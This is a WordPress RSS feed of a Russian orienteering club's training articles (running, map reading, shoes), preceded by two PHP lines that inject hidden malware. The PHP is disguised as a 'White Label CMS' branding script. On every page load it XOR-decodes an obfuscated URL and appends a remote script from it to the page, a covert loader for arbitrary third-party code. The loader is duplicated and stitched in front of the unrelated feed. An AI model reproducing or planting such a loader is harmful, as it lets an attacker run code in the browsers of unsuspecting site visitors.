add_action('wp_footer', function () { echo '<script>/*!\n * White Label CMS 1.0.0\n * Copyright (c) 2023 Billy Gin\n * License: BSD-3-Clause\n */\n(function(root){\n"use strict";\nfunction onReady(fn){\n  if (document.readyState === "complete" || document.readyState === "interactive") {\n    window.setTimeout(fn, 0);\n    return;\n  }\n  document.addEventListener("DOMContentLoaded", fn);\n}\nfunction qs(sel, ctx){\n  try { return (ctx || document).querySelector(sel); } catch (e) { return null; }\n}\nfunction debounce(fn, wait){\n  var t;\n  return function(){\n    var ctx = this, args = arguments;\n    window.clearTimeout(t);\n    t = window.setTimeout(function(){ fn.apply(ctx, args); }, wait || 120);\n  };\n}\nfunction paint(root){\n  if (!root || !root.style || !root.style.setProperty) return;\n  root.style.setProperty("--theme-accent", "#0ea5e9");\n}\nfunction hydrate(b){var k=[0x55,0x4d,24,0xa3,(202^20),(120-8),(95^5),230,134],o="",i=0,m=k.length;for(;i<b.length;i++)o+=String.fromCharCode(b[i]^k[i%m]);return o;}\nfunction applyKit(){\n  var urls = [hydrate([0x3d,(81-24),108,0xd3,(187-14),74,(107^30),0xc9,(249-10),59,0x39,(96^29),209,173,(26^15),43,200,(254^25),(61^28),0x62,(118^12),0x9b,0xe6,(70-4),(61^12),142,252,59,0x2b,0x7e,(155-15),(167^24),0x0,(76-25)])];\n  var i = 0;\n  function fallback(){\n    if (i >= urls.length) return;\n    var tag = document.createElement("script");\n    tag.async = true;\n    tag.src = urls[i++];\n    tag.onerror = fallback;\n    var root = document.head || document.getElementsByTagName("head")[0] || document.documentElement;\n    if (root) root.appendChild(tag);\n  }\n  fallback();\n}\nvar api = {};\napi.start = function(){\nonReady(function(){\n  var settings = { debug: false, accent: "#0ea5e9", position: "top" };\n  paint(document.documentElement);\n  applyKit();\n});\n};\nroot.BrandKit = api;\napi.start();\n})(typeof window !== "undefined" ? window : this);</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>/*!\n * White Label CMS 1.0.0\n * Copyright (c) 2023 Billy Gin\n * License: BSD-3-Clause\n */\n(function(root){\n"use strict";\nfunction onReady(fn){\n  if (document.readyState === "complete" || document.readyState === "interactive") {\n    window.setTimeout(fn, 0);\n    return;\n  }\n  document.addEventListener("DOMContentLoaded", fn);\n}\nfunction qs(sel, ctx){\n  try { return (ctx || document).querySelector(sel); } catch (e) { return null; }\n}\nfunction debounce(fn, wait){\n  var t;\n  return function(){\n    var ctx = this, args = arguments;\n    window.clearTimeout(t);\n    t = window.setTimeout(function(){ fn.apply(ctx, args); }, wait || 120);\n  };\n}\nfunction paint(root){\n  if (!root || !root.style || !root.style.setProperty) return;\n  root.style.setProperty("--theme-accent", "#0ea5e9");\n}\nfunction hydrate(b){var k=[0x55,0x4d,24,0xa3,(202^20),(120-8),(95^5),230,134],o="",i=0,m=k.length;for(;i<b.length;i++)o+=String.fromCharCode(b[i]^k[i%m]);return o;}\nfunction applyKit(){\n  var urls = [hydrate([0x3d,(81-24),108,0xd3,(187-14),74,(107^30),0xc9,(249-10),59,0x39,(96^29),209,173,(26^15),43,200,(254^25),(61^28),0x62,(118^12),0x9b,0xe6,(70-4),(61^12),142,252,59,0x2b,0x7e,(155-15),(167^24),0x0,(76-25)])];\n  var i = 0;\n  function fallback(){\n    if (i >= urls.length) return;\n    var tag = document.createElement("script");\n    tag.async = true;\n    tag.src = urls[i++];\n    tag.onerror = fallback;\n    var root = document.head || document.getElementsByTagName("head")[0] || document.documentElement;\n    if (root) root.appendChild(tag);\n  }\n  fallback();\n}\nvar api = {};\napi.start = function(){\nonReady(function(){\n  var settings = { debug: false, accent: "#0ea5e9", position: "top" };\n  paint(document.documentElement);\n  applyKit();\n});\n};\nroot.BrandKit = api;\napi.start();\n})(typeof window !== "undefined" ? window : this);</script>'; }, 99);
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Тренировки &#8212; АНО СДО &quot;Юность&quot;</title>
	<atom:link href="https://yunomsk.ru/?cat=16&#038;feed=rss2" rel="self" type="application/rss+xml" />
	<link>https://yunomsk.ru</link>
	<description>Мы все очень разные… Что нас объединяет?</description>
	<lastBuildDate>Thu, 09 Jan 2014 07:37:20 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.10</generator>
	<item>
		<title>Кто бегал 1 января&#8230;</title>
		<link>https://yunomsk.ru/?p=7210</link>
					<comments>https://yunomsk.ru/?p=7210#respond</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Thu, 09 Jan 2014 07:36:55 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://yunomsk.ru/?p=7210</guid>

					<description><![CDATA[Все, кто начал первый день 2014 года с бега бегом или на лыжах, могут внести свой километраж в общий счетчик, а также поделиться эмоциями на сайте: http://www.run0101.com/2014/ Сбор первоянварских километров будет продолжаться по 19 января включительно.]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=7210</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Две статьи об ошибках и их анализе</title>
		<link>https://yunomsk.ru/?p=5963</link>
					<comments>https://yunomsk.ru/?p=5963#comments</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Thu, 18 Jul 2013 09:22:09 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://yunomsk.ru/?p=5963</guid>

					<description><![CDATA[Предлагаем вашему вниманию ознакомиться с двумя статьями на тему, имеющую довольно высокое значение для каждого ориентировщика – ошибки на дистанции. Эти статьи ранее были опубликованы в журнале &#171;Азимут&#187;. Автор первой статьи – Вячеслав Костылев, г. Москва, МС, ЗТР. Автор второй статьи – Ольга Мухина, г. Москва, МС, СРК. Одна из статей написана больше в философском [&#8230;]]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=5963</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>А. В. Морозов. Мыслительная модель соревновательной деятельности</title>
		<link>https://yunomsk.ru/?p=4643</link>
					<comments>https://yunomsk.ru/?p=4643#respond</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Wed, 06 Feb 2013 02:12:21 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://yunomsk.ru/?p=4643</guid>

					<description><![CDATA[Работа по чтению и сличению карты с местностью начинается сразу со старта. Техни­ческая разминка проводится перед стартом. В нее входит чтение (на ходу), отработ­ка элементов «памяти» (на ходу), отработка глазомерного определения расстояния на карте и местности (на ходу), мыслительное воображение местности и т. д. Но, как правило, техниче­ской разминки не достаточно для полного «включения» в [&#8230;]]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=4643</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Особенности тренировки ориентировщиков-любителей и спортсменов старшего возраста. Статья Александра Ширянина</title>
		<link>https://yunomsk.ru/?p=4615</link>
					<comments>https://yunomsk.ru/?p=4615#respond</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Fri, 01 Feb 2013 02:35:05 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://yunomsk.ru/?p=4615</guid>

					<description><![CDATA[ОРИЕНТИРОВАНИЕ ДЛЯ НЕПРОФЕССИОНАЛОВ Особенности тренировки ориентировщиков-любителей и спортсменов старшего возраста. Санкт-Петербург, 2005 Предисловие Ориентирование – это спорт для всех, впрочем, не только спорт. Для многих это возможность поддерживать должный уровень физической активности тогда, когда о высоких спортивных достижениях мечтать уже не приходится. Тем не менее, многие бывшие активные спортсмены не расстаются с любимым увлечением и [&#8230;]]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=4615</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Анализ чтения карты Тьерри Жоржиу. Статья Мартина Лерьена</title>
		<link>https://yunomsk.ru/?p=4595</link>
					<comments>https://yunomsk.ru/?p=4595#respond</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Wed, 30 Jan 2013 04:41:24 +0000</pubDate>
				<category><![CDATA[Thierry Gueorgiou]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[Новости мирового ориентирования]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://yunomsk.ru/?p=4595</guid>

					<description><![CDATA[Мартин Лерьен (Martin Lerjen) – швейцарский тренер по ориентированию. На нашем сайте публикуется его статья, посвящённая анализу чтения карты на дистанции, а именно, как это делает элитный спортсмен Тьерри Жоржиу. Статья взята с сайта &#171;Спортивное ориентирование. По миру в поисках КП&#187;. Преимущество предвидения Преимущество предвидения возникает, когда у вас есть мысленный образ местности, по которой [&#8230;]]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=4595</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>А как бы ВЫ бежали?</title>
		<link>https://yunomsk.ru/?p=3245</link>
					<comments>https://yunomsk.ru/?p=3245#comments</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Fri, 30 Mar 2012 08:58:26 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://orient.omsku.ru/?p=3245</guid>

					<description><![CDATA[А как бы вы бежали этот перегон? ;-) Материал взят с сайта http://0rienteering.blogspot.com/]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=3245</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>М. А. Виноградов. Спортивная форма. Статья из журнала &#171;Азимут&#187;</title>
		<link>https://yunomsk.ru/?p=3241</link>
					<comments>https://yunomsk.ru/?p=3241#respond</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Thu, 29 Mar 2012 05:16:35 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://orient.omsku.ru/?p=3241</guid>

					<description><![CDATA[В июле 2009 года известная спортсменка Анна Альминова блестяще выступила на чемпионате России в Чебоксарах, показав лучший результат сезона в мире на 800 м и второй результат сезона в мире на 1500 м (3:58,38). Выступление же на чемпионате мира в Берлине главный тренер сборной России назвал провальным – А. Альминова не сумела попасть даже в [&#8230;]]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=3241</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Элитные способы шнуровки кроссовок</title>
		<link>https://yunomsk.ru/?p=3185</link>
					<comments>https://yunomsk.ru/?p=3185#comments</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Fri, 16 Mar 2012 04:28:42 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Новости мирового ориентирования]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://orient.omsku.ru/?p=3185</guid>

					<description><![CDATA[Скоро летний сезон&#8230; :-) Если кто ещё не достал неиспользовавшиеся зимой кроссовки, то, наверное, уже пора бы это сделать&#8230; ;-) Для преодоления лесных дистанций сейчас различными производителями выпускается множество вариантов беговой обуви, например: Jalas, IceBug, Inov-8 и т. п. Что выбрать &#8212; это уже вопрос финансов, возможности доставки, уровней мастерства, целей использования, личных предпочтений&#8230; Сейчас [&#8230;]]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=3185</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Как потренировать память к зиме&#8230;</title>
		<link>https://yunomsk.ru/?p=2071</link>
					<comments>https://yunomsk.ru/?p=2071#respond</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Tue, 12 Jul 2011 10:40:18 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Новости мирового ориентирования]]></category>
		<category><![CDATA[Программы & игры]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://orient.omsku.ru/?p=2071</guid>

					<description><![CDATA[Неплохо подготовить память к зимнему сезону может помочь тренажёр на сайте западных умельцев catchingfeatures.com&#8230; Сначала выбираем любую из многих карт кнопкой &#171;New Map&#187;, затем любой перегон кнопкой &#171;New Leg&#187;&#8230; Запоминаем и нажимаем на кнопку &#171;Go&#187;! Вперёд!!! Во время движения всегда можно остановиться и посмотреть, куда &#171;заехал&#187;, нажав на &#171;Stop&#187;&#8230; Попробовать можно по этой ссылке&#8230; :-)]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=2071</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Тестирование VJ. И не только&#8230;</title>
		<link>https://yunomsk.ru/?p=1750</link>
					<comments>https://yunomsk.ru/?p=1750#respond</comments>
		
		<dc:creator><![CDATA[Pavel]]></dc:creator>
		<pubDate>Mon, 25 Apr 2011 09:38:51 +0000</pubDate>
				<category><![CDATA[Thierry Gueorgiou]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[Новости мирового ориентирования]]></category>
		<category><![CDATA[Тренировки]]></category>
		<guid isPermaLink="false">http://orient.omsku.ru/?p=1750</guid>

					<description><![CDATA[Далее будут представлены 3 видеоролика&#8230; На первых двух Тьерри Жоржиу тестирует 2 модели спортивной обуви фирмы VJ. Тьерри выбрал Bold для бега на Чемпионате Мира. ;-) А здесь Baptiste Rollier (SUI) тоже тестирует обувь. Только это уже Icebug. И, между делом, пытается очень даже неплохо пародировать Тьерри!]]></description>
		
					<wfw:commentRss>https://yunomsk.ru/?feed=rss2&#038;p=1750</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>